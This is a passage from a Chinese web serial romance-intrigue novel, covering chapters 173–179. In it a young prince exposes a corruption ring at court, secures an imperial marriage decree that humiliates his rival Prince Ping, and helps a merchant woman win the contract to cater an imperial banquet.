“皇上,如今背后主使已调查清楚。微臣以为即可羁押,而后交由大理寺继续调查其他知情不报,同流合污之人,以此肃清朝堂之风。” 皇上面色阴沉,握着玉笔的手微微颤抖:“就这般安排吧。没成想他们竟在朝中盘踞如此之久,根基如此之深,若非是你,寡人如今还被蒙在鼓中。” 沈云祉目光一沉,稳重开口:“谢皇上,但此事微臣不敢居功,只是为了洗脱身上嫌疑略尽绵薄之力罢了。” 皇上清楚他谦卑不争,心中赞许更甚,目光柔和而慈爱:“寡人知晓你云淡风轻,淡泊名利,但此事你确实做得很好。” “若只为了洗脱嫌疑,那日平王在时就已经真相大白,何故又多费这些时日的功夫?” “为皇上分忧乃微臣分内之事。” 沈云祉知晓再是推脱不得,便大方认下。 “皇上,您既提起平王,微臣便想为其讨一个赏赐。”沈云祉灵机一动,暗中唇角微扬,“此事揭露实则也有平王功劳。” “虽然他被蒙蔽,以为此事与微臣有关,但若无平王助力,微臣未必能这样快将贪污一事调查清楚,确实能算作一份功绩。” 皇上大笑两声:“你倒是大度。那你以为该给他什么赏赐?” 孰是孰非皇上心中本有定夺,但如今沈云祉亲自开口,平王又实在不曾酿成大祸。也可将此事当做缓和两人关系的契机。 “微臣听闻,平王近来有嫁娶喜事。许是不想在您身子抱恙之时太过铺张,至此仍悄无声息。” 沈云祉一脸诚恳的斟酌言辞,好似真心实意为平王谋利。 “平王多年无子,如今终寻回女儿,分明是喜上加喜。不若皇上下旨赐婚,叫他放下心中顾念,大方置办,是以还能为您冲喜。” “哦?”皇上来了兴致,“寡人倒不知平王还有个女儿。” 沈云祉轻叹一声,假模假样道:“微臣也是无意得知这婚事才知晓平王竟然还有独女,实在低调。” 皇上轻笑,明白他的意图,却未打算点明。 “今日你立了大功,寡人自不会驳了你的面子。” 皇上提起玉笔,大笔一挥一道圣旨落下。 直到玉玺落印,沈云祉露出一抹不易察觉的狡黠笑意。 “今日你既在此,便带着圣旨去王府宣读,以表寡人重视。” 与此同时,总管太监将圣旨呈到沈云祉眼前。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百七十四章 定竭尽全力 “微臣领旨!”沈云祉双手接旨,挡住眼中笑意。 皇上撑着身子起身,在总管太监的搀扶下缓缓来到男子跟前,眼底几分哀伤。 “至于贪污一事,寡人会下旨交由大理寺打理。但其中定夺,还得由你把握。”他向沈云祉伸手,面上多是无可奈何,“寡人抱病已久,药石无医,眼下早不知道朝堂之上还有何人可用,只能依托你了。” 沈云祉神色认真,将手他在面前枯瘦的手心,心底一颤,郑重应下:“还望皇上放心,此事微臣定竭尽全力,肝胆相照。” 皇上想要握紧他细长的手掌,却发现已没多少气力,万般话语只化作一身叹息。 总管太监见状,躬身向沈云祉行礼:“小王爷,该是皇上喝药的时辰了,晚些时候太医还要请脉,您先请回吧。” “……微臣告退。” 他本想再说些保重的话语,但想来久病缠身之人不愿听此话语,便没再多言。 直到沈云祉走远,皇上才深深叹息一声。 总管太监敏锐,忙扶着他往榻边走:“皇上可是有何处不适?奴才这就去请太医。” “不必了……”皇上语气悠远,有几分忧伤有几分洒脱,“寡人的身子寡人最是清楚。那些个太医总是报喜不报忧,寡人不爱听他们说话。” 总监太监眼眶湿润,心底亦是万般无奈:“皇上您是天子,天子得上天庇佑。此劫必会安然度过。” 皇上只是摇头,浑浊的眸子闪着洒脱与释然:“是时候该立下太子了……” 平王府。 “什么!沈云祉又进宫了?” 平王怒上心头,毫不犹豫的砸碎了一盏琉璃杯。 屋内下人大惊,忙跪下请罪,大气不敢喘。 “可有消息?此番进宫又是为了何事?” 瞥见堂下跪作一片,怒火更甚。 通报之人语调颤抖,说不出所以然:“回王爷的话,驿站的探子就只传来这些消息,具体何事并未探查……王爷息怒!” “一群废物!”平王怒喝一声,将桌面上余下的茶壶也一并挥至平底。 碎裂的瓷片四处迸溅,将堂下几人划伤。伤口血流不止,却无人敢发出声响。 “你在此处发火算什么。”平王妃款步走来,面色阴沉。 平王怒意顿时消散大半,起身相迎:“得了消息沈云祉那小子又进宫面圣,上一回本王便是遭他算计,才落得如此地步,不想他今日又揣着什么坏心思。” “呵,”平王妃冷哼一声,白他一眼,言辞讥讽,“他揣着什么心思你去正厅一瞧便知,何苦在此处冥思苦想。” 平王沉默一瞬,随机反应过来,禁不住瞪大眸子:“他竟然还敢亲自登门!” 身侧双手禁不住捏成硬拳,虽不能伤他性命,但小惩大诫尚有余地。 瞧出他的心思,王妃脸色越发难看。 从前只当他鲁莽冲动,却不想还蠢钝如猪。 “他是带着圣旨来的。” 平王妃沉声开口,眼中带着恨意。 正厅。 沈云祉端坐高堂,肆无忌惮地打理着堂内陈设,圣旨就随意放在桌上。 平王素喜奢靡,一方正厅富丽堂皇,就连细小陈设也都是华贵之物。 他负手在堂内踱步,不时驻足细赏,随意的好似回了家乡。 平王阴沉着脸色走来,见他如此无拘无束更是不悦,冷声提醒:“小云南王,倒是许久未见了。” 沈云祉偏头对上他要吃人的眸子,却是不紧不慢的拿起圣旨,挑衅笑着:“今日本王可不是来叙旧的。” 不等平王开口,他忽地面容严肃,语调低沉:“平王接旨!” 见圣旨如见圣上,无人能免去跪下接旨。 平王咬牙切齿,不情不愿地下跪:“微臣在!” “奉天承运,皇帝诏曰,平王于社稷有功,其女温婉端庄,系其与孙协兆两情相悦,特赐两人成婚,婚期下月十五,钦此!” 平王听得脸色苍白,却也只能应着头皮接旨:“微臣领旨,谢皇上隆恩,吾皇万岁万岁万万岁!” 一旁的王妃再无法维持端庄模样,殷红的指甲就要渗进肉里。 她千方百计的阻拦徐青青回府,却不想今日竟等来的圣旨! “小云南王,真是好手段啊。”平王接过圣旨,面色铁青,“竟然能叫皇上赐婚,你不就是想让这桩婚事人尽皆知!” 他手上力度不轻,沈云祉笑眯眯的与他较量。 “平王真是说笑了。”他语调轻松,平静的说着叫人疯魔的话语,“成亲乃是大喜,皇上如今身子抱恙,也愿意听此好事。本是多方欣喜之事,如何像是本王处心积虑一般?” “你今日面圣难不成是为了此事?”平王咬牙口中挤出几个字。 沈云祉面上人畜无害,却在不经意间松开双手,冷眼看着男人踉跄几步。 “王爷又在说笑,你在本王这里可没有这样大的面子。” “你!”平王站稳身子,正要开口,却被沈云祉一个狠厉眼神逼退。 他漫不经心理了理衣衫,刻意提高音量压过他的怒音:“王爷不必言谢,不过举手之劳。” “今夜第一楼戏台重建,本王约了畅春园的一场戏,想来会有不少人应约前来。届时,本王便好生替王爷说说府中喜事。” 平王忍无可忍,怒吼一声:“沈云祉,你究竟想要做什么?本王容颜不保,你便就能助云南王安然坐上太子之位了吗?” “只要本王还活着一日,必不会叫你们如此顺畅!” 沈云祉揉了揉耳朵,仍是不为所动:“何必如此动怒呢?你既允了这桩婚事,就该料想到如此局面。” 语毕,他只留下一抹得意笑意,随即转身离开。 独留下被愤怒占据的平王在正厅摔打泄愤,就连王妃也不敢上前劝诫。 离开王府的沈云祉心情大好,言语雀跃:“去第一楼。” 双瑞这才忍不住出声:“小王爷,今日第一楼早早打烊了,说是为了明日戏台重开做足准备。” 沈云祉微怔,随即轻笑出声:“原是本王记错了。” “无碍,那便去顾府一趟,本王又该好生谢谢顾姑娘了。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百七十五章 这感觉从何而来 是夜。 顾皎皎夜晚无眠,趴在窗台欣赏无边夜色。 与其说是欣赏,又不如发呆愣神来得贴切。 打发了无关紧要的人后,她便回房早早歇下,没有整页的账目相伴,倒难得拥有安稳平静的睡眠。 月色如瀑,飘在身上有丝丝凉意,却无不适。 叩门声打断了她的思绪,转身去看是莺儿对着一盅银耳雪梨汤来。 “姑娘,方才瞧你屋子燃了烛火,奴婢就着人炖了这汤。”她将汤罐放下,盛出一碗,“眼见着天气渐凉,最是该喝些滋润的。” 顾皎皎接过,颔首轻嗅雪梨香气,笑道:“你倒是有心,这样夜幕也能记着这些。” “我瞧着还有一盏碗,你也喝些。你整日跟着我在外奔波,不比我悠闲。” 说着,她又轻叹出声,捂着胸口眉见有疑:“也不知怎地,总觉得胸口沉闷,不知可是天气渐凉的缘由,方才睡得并不踏实。” 莺儿紧张起来:“奴婢这就开一闪小窗通风,再点一只安神香。明日再请大夫来瞧瞧。” 顾皎皎本不想大张旗鼓,但这感觉实在没由来,便答应下来。 不过下一瞬,她便知晓这感觉从何而来。 布衣丫鬟小跑着前来通报:“姑娘,小王爷来了,马车就要到府外了。” 握着碗边的手不禁加紧力度,顾皎皎意外出声:“小王爷?这般时辰?” 她偏头去看窗外夜色,该是亥时了。 “是小王爷身边的小厮传来的消息,想来不会出错。”布衣丫鬟很是肯定道。 顾皎皎不禁蹙眉,却又担心深夜造访确有急事,便起身叫莺儿更衣。 沈云祉确实准时,她刚抵达门外,那辆华贵马车恰好停下。 男子掀帘下车,意气风发,想来心情不错。 “本王此刻前来,不会叨扰了顾姑娘休息吧?” 口中虽是这样说着,但他语气里并无半分打扰的歉意。 难怪他如此觉得,往日她日日深夜核算账簿,子时未眠也是常有。 顾皎皎无力计较,只福身行礼:“不知小王爷漏夜前来所为何事?” 不论睡与不睡,她如今都是独身一人。 若是叫人瞧见两人夜间相会,怕是要传出不少闲言碎语。 但小云南王到底身份尊贵,立于门楣之下自然不妥,况且一波人就这样直愣愣地站着,反倒是引人注目,适得其反。 纠结片刻,顾皎皎话接上句:“夜里见凉,看您衣衫单薄,还是先请移步正厅坐下吧。” “你上回在第一楼称赞的雨前龙井,府内也准备了些,这就叫人沏下。” 沈云祉眼眸一沉,察觉到她心中顾忌,步子一顿未在上前:“不必这样麻烦了,本王也就几句话。” “霓裳阁送来的衣裳本王很是满意,恰是碰巧路过顾府,便想来与顾姑娘说句答谢。” 说着,他抬手示意,双瑞便将手中锦盒送到女子眼前。 “今日本王进宫,皇上念本王有功便赏了这副字画。” 双瑞应声打开锦盒,沈云祉眸光闪烁看着顾皎皎的意外惊喜。 “本王觉得你或许喜欢,便以此作为谢礼。” 顾皎皎难掩欢喜之色,相见恨晚地小心抚摸字画卷轴:“这是江南的纱制云薄纸,能用上这样好东西的,便只有大家齐安石。” 父亲生前便最为喜爱齐大家的画作,她受父亲影响,亦是颇为青睐。 “这是一副寒雪红梅图,尽显清冷高洁之姿,本王觉得与你很是相配。” 沈云祉的声音带着蛊惑,叫她无论如何都说不出拒绝的话来。这样贵重的东西,本不该收的。 “看来顾姑娘很喜欢,本王也不算白跑一趟。” 见她眼中惊羡,沈云祉不住勾起嘴角。 这画是离开皇宫途中,瞧见小太监往养心殿送,也不知怎地就鬼使神差地求来了。 顾皎皎终于找回理智,慌忙将手收回袖中,很是惶恐道:“多谢小王爷美意。平心而论,这画我确实中意。可此画实在名贵,又是皇上所赐,我不敢夺爱。” 沈云祉大笑两声:“这画本王已经送出去了,便没有收回来的道理。?” 说着,他转身坐回马车,不给顾皎皎反应的机会。 回厢房的路上顾皎皎还有几分恍惚,不住地偏头多看几眼。 莺儿咧嘴偷笑,打趣道:“姑娘,这锦盒扎扎实实在奴婢怀中抱着呢,不会丢的。” 顾皎皎却是摇头,总觉得这一切太过奇怪。 “我只是奇怪小王爷为何会送来这样贵重的东西。” 她自然清楚是因着送去的线索,但就算贪污案告破,也不值得这样贵重的礼物。 齐大家的字画千金难求,父亲当年从未停止找寻收藏,如今府中也不过三幅。 即便沈云祉不在意外物,也该知晓是何价值。 莺儿也反应过来:“说来小王爷若真为了一件做得好的衣裳就如此出手阔绰,日后是否能给小王爷多做几身,岂非还能拿到更多宝贝?” 说着,她越发兴奋,一双眸子亮晶晶的。 顾皎皎正是沉思,忽地被这话逗笑,嗔怪道:“你倒是机灵,依你所言,你直将小王爷的库房搬来便是。” 主仆两人有说有笑,往后院走去。 翌日,大理寺官员兵分三路,将主谋三人一并拿下,抓得三人猝不及防。 吏部侍郎与礼部员外郎很快伏法,对其罪行供认不讳;反倒是那赵河矢口否认,言语激烈,押去地牢倒还费了些功夫。 悠长的牢狱小道昏暗无光,沈云祉步伐坚定,朝着尽头的牢房走去,身后跟着一众大理寺侍卫。 “两位大人。” 牢房狭小,只有几缕光亮落下,沈云祉坐在另外准备的软凳上,双眸冷淡,扫过瘫坐地上的落魄两人。 侍郎倒是坦荡,开口便是认下罪责:“小王爷,这贪污一事确实由我主谋,王员外郎乃是受我胁迫,不算罪责滔天。” 沈云祉冷笑一声,起身站在他的面前:“这般时候倒是情深义重了。” 他接过案宗,毫不犹豫地扔在吏部侍郎苍老的脸上。 “此案足有七年之久,又是如何胁迫?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百七十六章 不相信他会如此痛快 吏部侍郎没了话语,却依旧坚持将所有过错都揽在自己一人身上。 礼部员外郎倒也有担当,口口声声说着自己心甘情愿,同流合污。 只有赵河一人在牢中鬼哭狼嚎,四处都充斥着他的惨叫。 沈云祉蹙眉不耐烦:“本王不是来看你们兄弟情深的,早些将你们从中如何暗度陈仓,又有多少人知情不报,混杂其中,一并说清楚,或许本王能叫皇上从轻发落。” 两人相视一眼,哀伤而坚定。 礼部侍郎从胸前衣襟拿出一本墨色折子,叹道:“七年间我所有的罪责都记载在此处了。何时开始,又有何人参与,都明明白白,还请小王爷过目。” 沈云祉半信半疑地接过双瑞转交来的文案,不相信他会如此痛快。 侍郎看出他的怀疑,便继续解释:“自从因为当年救命之恩答应赵河安插官员后,我便想到会有这样一天。” “我战战兢兢的过了三五年,每每瞧见成箱的银子送进府里,心中又惊又喜。无法舍去富贵奢靡的日子,却又有愧于身上官服。” “为此,我刻意挑选行贿之人,若毫无才学,难堪职责,多少银子我都不收。如此,才能叫贪污买官之事滴水不漏,暗中维系了这样久。” 沈云祉并不在意他不知真心的忏悔,只细细将折子瞧个清楚,确实与他所言相配。 “你这样仔细,又怎么会马失前蹄?”沈云祉沉声追问。 他曾试图暗中调查行贿官员,却收获破少,想来也是这个原因。 那些人虽用了不正途的法子,但好在并非胸无点墨,又经过几年历练,越发适应,才未叫人察觉。 吏部侍郎自嘲大笑几声,疲惫的双眸湿润,道:“那日,赵河送来了他的儿子,说是谋个小官职便好,不会太张扬。” 他痛心疾首,眼泪纵横:“赵恒是何人?好吃懒做,胸无点墨,即便只是当个芝麻大的小官也是官场蛀虫!” “我不想允,但身已入局,越陷越深,又不得不允。是以,我刻意将他安排在泽熙镇,此处虽偏僻人少,却又不少耳目,黑暗之下的事情瞒不了多久。” 吏部侍郎忽地笑了,好似很是满意这番筹谋。 沈云祉冷颜相对,在他的娓娓道来里听出了事情的来龙去脉。 不过是浪子回头的老套戏码,只可惜功不抵过,依旧难逃责罚。 他沉声质问,却语气笃定:“所以你是料定赵恒会奢靡无度,露出马脚?” 吏部侍郎冷笑一声,言之凿凿:“他们父子如出一辙,最不知收敛,稍有权势便恨不得黄褂加身。若非赵河生性贪婪,根本不会生出这些事端!” “他知晓我的官职,便开始肆掠谋私。先将银子收下,再悄无声息地送去我府上,我根本没得选!”侍郎怒吼,满眼的恨意,“我真的是太累了,不想再如此胆战心惊的过日子了。” “既然他得寸进尺,不如就任其自食恶果,一切化为虚无,一了百了。” 吏部侍郎虽悔不当初,却并不叫人同情。纵使有万般身不由己,在这悠长岁月中他仍是同流合污,享受着贪污带来的财富。 沈云祉耐着性子听他说完个中隐情,仍是不满:“平王可知晓此事?” “平王?”侍郎微怔,不明所以,“平王应当是不知,不曾听闻哪一环有王爷参与。” 没听到想要的答案,沈云祉的脸色不大好看,却又不便发作。 “那间摆满书籍的库房又是为了什么?” 吏部侍郎轻叹一声,姿态放松了许多,道:“做了这些违背律法的事情,自然也得给自己寻一个保障。那里头都是与此事有牵连人的名号,来往银钱等,亦可看作是万不得已时保命的账簿。” 沈云祉居高临下地看着他,眼底尽是轻蔑:“那书阁本王派人去探查过,都是些寻常书籍,并未发觉异常。” 吏部侍郎勾起唇角,露出几分狡黠:“若是坦诚的在那处摆着,怕是不知道会遭受多少走水。” 说着,他偏头瞧一眼王员外郎,后者当即从胸前掏出另一个墨绿折子。 “这里头记载着如何看懂库房里的书籍。”折子被送到沈云祉面前,“小王爷聪慧,想必一看便知其中门道。” 沈云祉垂眸一眼,转身大步离开:“叫大理寺等着消息,今夜本王便要将他们一网打尽!” 泽熙镇,库房。 沈云祉站在远处,下令让几个侍卫合力将厚重的木门撞开。 木门推开的吱呀声在声声沉闷的撞击声中尤为明显。 立于门前,铺面而来的书卷香气沁人心脾,可背后隐藏的却是阴暗的贪污与腐败。 墨绿折子记载的很是清晰,以库房中央的桌案为准,前后左右的一排排书架都有属于自己的标记,再对应不同摆放位置,取书名亦或是书页其中几字。 四处拼拼凑凑,便就是一人的名讳与何时何地多少银两。 沈云祉看着一排排高大宽阔的书架,冷淡的眸子里生出几分惊讶。 不得不说,吏部侍郎确实心思缜密。 若没有这本指南册子,怕是将这库房掀翻过来都未必能找到半点线索。 双瑞带人将折子上的信息一一对应,罗列出的信息足足写满了四张宣纸。 沈云祉看着密密麻麻的字迹,面色阴沉。 此次贪污案沸沸扬扬,结案时更是一阵唏嘘。 其中牵扯官员皆被罢免,不论是深陷其中亦或是知情不报。 因着此事,皇上拖着病躯上了早朝。 “贪污一事就此了结,小云南王立下大功,按纪该赏!” 皇上在养心殿不吝夸赞,心情大好。 余下的朝臣也纷纷附和。 “小云南王机敏过人,将一众贿赂官员一网打尽,其才能可见一斑,日后必成大器!” “小王爷明察秋毫,为朝堂肃清风气,却为大功!” “早闻京城百姓也对小云南王赞不绝口,为国为民,小王爷都是不可多得!” 大臣你一言我一语的阿谀奉承,在沈云祉听来不过一众靡靡之音,倒是平王气得面色铁青。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百七十七章 显然更胜一筹 “身在朝廷,何人不是为君分忧。本王不过是做了职责之内之事,大人们不必如此谬赞。” 沈云祉瞥见阴沉的老脸,不由得弯起嘴角。 也不知他是否后悔将这桩大功推到他的身上。 “贿赂一案告破,与朝堂而言举足轻重。”皇上虽面容憔悴,却仍威严不减,“寡人要好生庆祝一番,宫内宫外同喜,设宴三日!” “沈云祉赏黄金百两,京中府邸一座,”皇上喜出望外,“云南赋税减免三年,再将云南王召入京中,一同贺喜!” 此话一出,大臣们面面相觑,心中各有打算。 太子之位虚悬,皇上本就在平王与云南王之间举棋不定。 如今小云南王立功,孰是孰非已逐渐清晰。 然皇上又下旨召云南王入京,岂非是这太子之位花落谁家终要揭晓? 如此看来,云南王显然更胜一筹。 平王面色如碳,恨不得将后槽牙咬碎。 接着,皇上又想起一事:“此次官员罢黜颇多,朝中空出不少位置,也该是时候重新办一场秋闱。” “此事就交由小云南王主理,礼部尚书要多在一旁协助,切不可再纳入偷奸耍滑之辈!” 交代了这些,皇上面色苍白,不住轻咳,没了大半气力。 眼见着气力无法支撑,早朝便就匆匆散去。 退朝后,不少官员围在沈云祉身侧巴结,称赞奉承之语不断,聒噪十分。 “小王爷真是年轻有为,一朝斩获七年悬案,可是为云南王挣了不少面子啊!” “皇上又将秋闱一事交给您办理,真是上上荣光啊!” 沈云祉站住步子,望着一旁落寞走过的平王,笑道:“本王能侦破此案,还要多亏平王襄助。” 众人目光一齐向平王看去,惹得他只得停滞不前,强颜欢笑。 “若是平王传来消息,告知本王此案苗头,怕是本王还被蒙在鼓里,又怎么有今日契机立此大功。” 说着,他绕开人群走到平王眼前,恭恭敬敬朝他作揖,无害的写满真诚。 “本王感激涕零!” 无人的瞧得见的侧脸上,却是只有平王看得清的不屑与挑衅。 “小云南王真是客气,此事还得是你自己争气!” 平王咬牙切齿,垂在身侧的手紧捏成拳。 官员瞧着两人貌合神离,低声私语。 当日沈云祉被牵扯进贿赂案并非秘密,甚至皇上亲自下令调查,只是后来匆匆告知小云南王无辜,却无人知晓其中内幕。 再听他如今的口气,看来当日的污蔑之人正是平王。 注意到旁人异样的目光,平王再是按捺不住,广袖一挥,大步离去。 与沈云祉擦肩而过时,他用着两个人才听得清的音量威胁:“沈云祉,今日之辱,本王记下了,咱们来日方长。” 沈云祉面不改色,笑意越发明媚,还不忘与其挥手告别:“王爷路上慢些,待令爱大婚,本王必定协重礼相贺!” 这倒是提醒了一众官员:“皇上昨日下旨赐婚,便是平王失散多年的女儿与安阳侯府的孙三公子,婚期订在下月十五,说来也确实也备下贺礼了。” “安阳侯府?那孙府都落寞多年了,平王的郡主嫁去,岂非要受委屈?” “这传闻中的女儿不也是不知姓甚名谁,不知真容吗?是谁高攀倒不必着急定论。” 听着官员议论纷纷,沈云祉笑意更甚,还不忘添油加醋一句:“你们怎知平王不是想在婚宴上公开爱女身份,来一出双喜临门呢?” 众人恍然大悟,又开始称赞聪慧。 沈云祉表情凝固一瞬,这一路走来这些俗套的夸奖已听得他耳朵生茧。 “与其在此处与本王废话,不若早些回去未平王备下贺礼,一同庆贺,沾沾喜气。” 人群散去,沈云祉才瞧见等候许久的沈玉荣。 “恭喜小王爷。皇上已经许久不曾这般欢喜,又特意传召云南王入京,怕是大局已定。” 沈云祉却是不屑:“本王从未觉得他能与父王相争,不过是不自量力。” 他从未掩饰过自己的野心,就连进京也是为了为父亲探路罢了。 不过这一趟倒是收获颇丰,很是值得。 只是动了这样的念头,脑海中便闪过一张清冷面容,还有一张单薄的背影。 沈玉荣并未察觉他的分神,继续道:“有了贿赂案,不仅众望所归,更是名正言顺,小王爷此棋下得极稳。” 沈云祉轻笑一声,没再言语。 皇上要设宴三日的消息很快传遍京城,百姓无不称赞圣上的仁慈,小云南王的机敏。 顾皎皎也听到了消息。 “宫中宴席自然交给御膳房打点,那宫外就必得寻一个经验丰富,不会出错的店家。” 顾皎皎在屋内踱步,脑中思绪万千,想着应对举措。 酒楼的寻觅自然是交由户部打理,极为可能是沈玉荣主理。 眼下,她极想寻个由头见他一面,是以为自己争取这个机会。 莺儿在一旁听着:“皇上赏下黄金百两与一处府邸,想来分拨给宫外的赏银也不会少。” 顾皎皎点头:“这是自然。最重要的是,若是能接下这个机会,我便极有可能成为皇商。” 莺儿顿时激动起来:“眼下早朝刚下,沈大人想必正在回府的路上,不若现在启程去追?” “不妥。”顾皎皎拒绝得十分干脆,“这样一来太过急功近利,若是惹得沈大人不悦,反而适得其反。” 莺儿撇嘴:“沈大人待人和顺,又与姑娘您交好,想必不会如此吧?” 顾皎皎轻点她的额头,愠怒道:“这便是缘由所在。若是我这样迫不及待,沈大人又碍于面子应承下来。这坊间可不一定会传出什么闲话。” “若是只说我不择手段便罢了,若是连累了沈大人的名声,那便真是罪过了。” 莺儿摸摸额角,讪讪道:“原是如此,是奴婢冲动了。” 顾皎皎继续踱步,轻声自语:“还得想个两全的法子才行,既顾全名声,也要叫人觉得第一楼实至名归。” “第一楼的味道何人不得称赞?姑娘不必如此焦躁。”莺儿笑着,倒是自信非常,“说不准沈大人早已举荐了第一楼呢!” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百七十八章 是势在必得 顾皎皎轻笑出声:“你倒惯会讨我开心。” 若当真如此,自然最好,不知能省下多少功夫。只是她与杜玉荣谈不上有何交情,只能算作相识,又怎么做到如此地步。 莺儿一双眸子又大又圆,眨巴着眸子很是俏皮:“姑娘开心就好,姑娘开心奴婢心中也欢喜。” 顾皎皎没再多言,再是打趣这也变不成真的,还是得琢磨个两全之策。 “派人去将第一楼掌柜请来,我有事情要问。” 她终是坐下,心中已有对策,不过要先与掌柜通气,瞧瞧是否可行。 莺儿福身,正要开口唤个布衣丫头,就见一个丫鬟快步赶来。 “姑娘,小王爷与杜大人正在第一楼,派了马车请您过去。” 顾皎皎与莺儿相视一眼:“好,我这就过去。” 这消息倒是来得巧,她本想再筹划一场布施,既能得个好名声,也能叫杜玉荣注意。 再者,便是将一些菜式改良一番,再送去沈府品鉴,也能叫他想起自己。 莺儿小跑跟着步伐急促的顾皎皎,惊喜万分:“姑娘,莫不是杜大人当真举荐了第一楼?” 顾皎皎心中期待,却不敢面上显露,只谨慎猜测:“打着皇宫名号设宴自然马虎不得,兴许沈大人只是例行公事,游走在京城酒楼,最后择一个最好了也未可知。” 莺儿扶她上车,自信满满道:“京城再无酒楼比得过第一楼了,看来此番是势在必得!” “谨慎慎行,莫要娇纵。”顾皎皎含笑提醒。 虽是事实,却也要时刻谦虚,免得叫人落下话柄。 到了第一楼,掌柜将两人引到二楼雅间,两位大人就等在里头。 与她料想不同,雅间内只沏着一壶新茶,不见楼里菜色。 沈云祉与杜玉荣立于窗前,谈笑风生。 “参见小王爷,杜大人。”顾皎皎上前行礼,吩咐莺儿候在门外。 一进门,她的目光便忍不住往杜玉荣方向瞧,仔细着搜寻着其身上可有什么明色文书。 注意到她的目光,男子面上几分羞怯,正要开口,却听耳边一声冷笑。 沈云祉大咧咧地坐于圆凳,凌厉的眼神想要在她面上雕出花来:“顾姑娘消息灵通,想必已经知晓本王与玉荣前来所为何事吧?” 顾皎皎不愿心中所想这般昭然若揭,便故作懵懂:“小王爷这是何意?我不过是个商贾之人,消息再是四通八达也不过是些生意场的事情,其他的您怕是高看我了。” 杜玉荣在一旁瞧着两人言语,微扬的嘴角多了几分苦涩。 “那本王说予你听,皇上要在宫外设宴三日,眼下正着玉荣找寻合适的酒楼。”沈云祉目显精光,明知顾言。 顾皎皎何其敏锐他早已见识,这样的消息她不可能毫不知情。 不过既然有意要演一出懵懂无知的戏码,配合一番也无伤大雅。 顾皎皎沉浸在无知的假设中,惊讶开口:“原来如此,那倒是难为两位达人来这第一楼。不知圣上对酒家有何要求,第一楼是否满足呢?” 趁着沈云祉沉默,杜玉荣终于找到机会开口:“圣上的意思不想太过繁琐,却又不能失了热闹和体面。是以酒楼须得有名号且口味颇佳。” “再者,此番设宴是因着小王爷立了大功,还得小王爷满意才是。” 顾皎皎竖耳听着,一抬眸便瞧见沈云祉得意的表情。 看来贪污案已彻底告破。再想着小云南王昨夜亲自登门致谢,想来她送去的线索起了大用处,如此悬案其中也该有自己的一份功劳才是。 不知沈云祉是否能因着这层缘由,给自己一个薄面。若非不予,他还欠着自己一个要求。 无论如何,她都得想法子抓住这次机会。 想着,顾皎皎侧身看向沈云祉,眼眸明亮多了份娇俏:“小王爷,话已至此我不愿推三阻四,我想为第一楼争取此次设宴机会。” “第一楼在京城已有数年,名声与口碑都是佼佼者,这便是满足了圣上第一个限制;再者,您也曾称赞过第一楼菜色美味,想来亦是满意?” 沈云祉猛地笑出声,见多了顾皎皎的坚韧不拔,忽地服软,倒是有些不习惯了。 突如其来的笑意叫顾皎皎迷茫又心惊,方才一番说辞情真意切本不该有可笑之处才是。 “小王爷,您何苦这般逗乐顾姑娘呢?”杜玉荣面露无奈,轻柔开口,“顾姑娘,皇上提及此事时,我便举荐了第一楼,小王爷亦是如此。” “朝中官员多少都曾在第一楼用膳,也纷纷称赞。如此,此次设宴已经决定交给第一楼了。” “恭喜你,顾姑娘。” 杜玉荣语调柔和,听在耳中如丝竹之声,如听仙乐耳暂明。 顾皎皎喜不自胜,忙福身行礼致谢:“多谢小王爷,多谢杜大人!第一楼定不负众望,好生将席面置办完好。” 见她笑容明媚,杜玉荣笑意加深,目光越发柔和,道:“此次宴席,皇上拨下了白银两千余辆。依照圣上的意思,此次虽隆重却不得铺张浪费,席面大小寻常即可,不必刻意堆砌稀珍食材,却也不能敷衍了事。” 顾皎皎连连点头:“明白明白,我这就回去好生安排,再姓曾文书送给两位达人过目。” 一边说着,脑中一边已在盘算如何将此次宴席置办的大气漂亮。 庆功宴庆的是贪污一事,自然不能太过华贵浪费,反倒与案子里的要义背道而驰。 既然要清正廉洁,想来多备下些清淡爽口,又有利于身子的药膳定出不得错。 杜玉荣:“这些日子便要辛苦顾姑娘了。云南王不日便要进京,这宴席没剩下多少日子了。” “多谢杜大人提醒!”顾皎皎眼中闪过一瞬意外,“那我可得争分夺秒了。若两位大人没旁的要事交代,我便先下去准备了。” “倒是还有一事。”沈云祉冷不丁开口,听不出其中情绪。 “小王爷请讲。” “昨夜匆忙,倒是忘了问你可喜欢那幅字画。”他嘴角勾着一抹邪笑,像在挑衅。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百七十九章 跌入泥潭 顾皎皎不明所以:“齐大家的大作怕是无人不喜。” “那就好,本王送礼向来投其所好。”沈云祉把玩着折扇,漫不经心又玩世不恭。 无人再语,空气凝固,叫人尴尬。 三人各怀心思,一人得意,一人茫然,一人落寞。 顾皎皎等候半晌,终是轻声打破沉默:“两人大人还有别的要事吗?若是再无其他,我便先退下。” 沈云祉不答,却是转身看向杜玉荣:“玉荣,你可还有没说的话?” “我……”他欲言又止,而后摇头否认,“不必了,若是而后想起什么,我再来第一楼寻姑娘便是。” 眼见着气氛变得诡异,顾皎皎毫不犹豫地转身离开,生怕被牵扯进这无声的硝烟中。 出了门,莺儿立即迎了上去:“姑娘,如何如何?” 顾皎皎忍着笑意,有意卖关子:“唉,此事怕是不太好办。” 听她叹气,莺儿开始紧张:“怎么?难道小王爷和杜大人并不看好第一楼吗?” “第一楼可是京中名楼,多少贵人都来此用膳,怕是能与宫里的御膳房媲美,如何还入不得他们的眼了!” 莺儿忿忿不平,白嫩的小脸上是不加掩饰的怒意。 顾皎皎忙堵住她的口无遮拦,四处打量小声嗔怪:“你这焦急的性子真是要好好改改,如何能在大庭广众之下说出这样不识好歹的话来,也不怕有心之人参你一本。” 莺儿侧眸看她,模糊不清的呜咽几句。 顾皎皎警视一眼,缓缓松开,又道:“下回再是不逗你了。方才说难办,不过是时间紧迫,动作要加紧些。” “奴婢就是见不得旁人说您半句不是。”莺儿嘟囔两句,后知后觉,“姑娘,您方才是说?” 她惊喜万分,生怕耳朵出了差错。 顾皎皎郑重点头,肯定道:“小王爷与杜大人在宫中时便举荐了第一楼,这份肥差自然而然落在我的头上。” “眼下云南王也要入京,就只余下七日光景安排宴席。” 